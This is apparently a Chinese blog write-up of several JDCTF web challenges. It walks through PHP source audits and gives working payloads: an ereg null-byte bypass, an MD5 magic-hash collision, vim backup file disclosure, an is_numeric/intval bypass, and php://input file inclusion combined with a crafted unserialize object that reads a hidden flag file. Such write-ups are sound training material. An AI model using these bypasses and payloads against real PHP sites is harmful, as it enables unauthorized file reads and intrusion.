[JDCTF] web writeup

偶然看到的刷一刷


-w1083

签到题~

进入题目


-w917

既然签到题F12一下


-w723

真的发现了,有提示打开那个js


-w1192

跑一下就有flag了

你知道正则么?

源码审计

<?php 
highlight_file(__FILE__); 
include('flag.php');  
if (isset ($_GET['jdctf'])) { 
    if (@ereg ("^[1-9]+$", $_GET['jdctf']) === FALSE) 
        echo "must input number!"; 
    else if (strpos ($_GET['jdctf'],'#biubiubiu') !==FALSE) 
        die('FLAG:'.$flag); 
    else 
        echo 'try again'; 
} 
?>

总共两个判断
第一个函数是ereg可以用%00绕过
第二个函数strpos用来判断该字符串中有没有#biubiubiu
因为#在url中有特殊含义所以得用url编码
payload:
http://jdctfweb.ngrok.xiaomiqiu.cn/web3-re/?jdctf=123%00%23biubiubiu

image

还记得hash么?

还是源码

<?php 
error_reporting(0);  
include_once('flag.php');  
highlight_file('index.php');   

$md51 = md5('QNKCDZO');  
$a = $_GET['b'];  
$md52 = md5($a);  
if(isset($a)){  
if ($a != 'QNKCDZO' && $md51 == $md52) {  
    echo $flag;  
} else {  
    echo "false!!!";  
}}  
?>

很简单呀=。=
就是拿一个经常用的
240610708

image

皮皮更健康~

进题目

image

进入之后
发现是jsfuck
image

跑一下
出来一串3D45353D39333D38383D45353D39333D38383D45353D39333D38383D45353D39333D38382C3D45343D42443D41303D45383D41323D41423D45393D41413D39373D45343D42413D38362C3D0A3D45343D42383D38443D45363D39383D41463D45383D42463D39393D45343D42383D41412C3D45353D42303D42313D45393D39373D41453D45343D42443D41303D45383D41373D41333D0A3D45343D42413D38363D45353D38443D38413D45353D41343D41393D45363D42303D39343D45343D42383D38443D45363D42303D3934
不知道啥编码了=。=
16进制解一下
image

=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=\n=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=\n=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94
(让我觉得是misc)
解出来也不知道是啥拖到百度搜索一下
image

可以看到是Quoted-printable编码 之前一直没碰到过=。=
image

解一下好气啊。。。。再看看题
F12 fuck。。
image

%3D就是等号还是一个Quoted-printable编码
image

这里有http://ctf.ssleye.com/cvencode.html

-w1156

119, 104, 49, 116, 101, 95, 49, 115, 95, 115, 48, 95, 104, 52, 110, 100, 115, 48, 109, 69
有完没完了。。。一看就知道是ascii码
image

233333

综合实力考察

image

在头里面发现一个hint 16进制的解一下是MRWWY5DGM46T2===
突然看到url 里面有一个look-misc又是misc吗。。。
三个等号 base32解一下
出来是dmltfg==
base64再解一下
-w222

vim有两个特性

  1. vim备份文件

    默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
    index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~

  2. vim临时文件

    vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件 .submit.swp。如果文件正常退出,则此文件自动删除。

找了很久在index.php~发现了。。
源码

<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
    header('location:./1ndex.php');
}else{
    $id = $_GET['id'];
    if (!is_numeric($id)) {
        $id = intval($id);
        switch ($id) {
            case $id>=0:
                echo "蹇嚭鍘诲惂锛岃蛋閿欒矾浜嗭綖锝烇綖<br>";
                echo "杩欎箞绠€鍗曢兘涓嶄細涔堬紵";
                break;
            case $id>=10:
                exit($flag);
                break;
            default:
                echo "浣犺蛋涓嶅埌杩欎竴姝ョ殑!";
                break;
        }
    }
}

?>

这样就过了

-w429

is_numeric只要后面加任何除数字之外的字母或者符号即可绕过
不过我做的时候发现他的代码和备份好像不一样23333 id为0的时候出来的是flag
image

PHP

F12源码 23333我喜欢

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

file_get_contents出来的内容要和the user is admin相等用php的伪协议php://input
post里面放 the user is admin

-w1088

用伪协议读一下class.php的代码

<?php
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

反序列化
f1a9.php读不到
读一下index.php的代码

<?php
$user = @$_GET["user"];
$file = @$_GET["file"];
$pass = @$_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

原来是因为有一个f1a9的waf怪不得读不到
只要构造一个反序列化 来输出flag

-w496

构造反序列化
得用file把class.php导入然后才能使用read类
http://jdctfweb.ngrok.xiaomiqiu.cn/web6-php/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
-w213

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,245评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,749评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,960评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,575评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,668评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,670评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,664评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,422评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,864评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,178评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,340评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,015评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,646评论 3 323
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,265评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,494评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,261评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,206评论 2 352

推荐阅读更多精彩内容

  • 抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...
    ch3ckr阅读 12,988评论 0 6
  • 捉迷藏 题目url:http://218.76.35.75:20111/index.php 进去之后查看源码: 发...
    Pr0ph3t阅读 1,664评论 0 2
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,743评论 0 9
  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,502评论 0 2
  • 能力2分 精力2分 影响力10分 自我评价2 分 创造力5分 2*2*10*2*5=400元 专业能力和个人能力:...
    青青狐阅读 393评论 0 0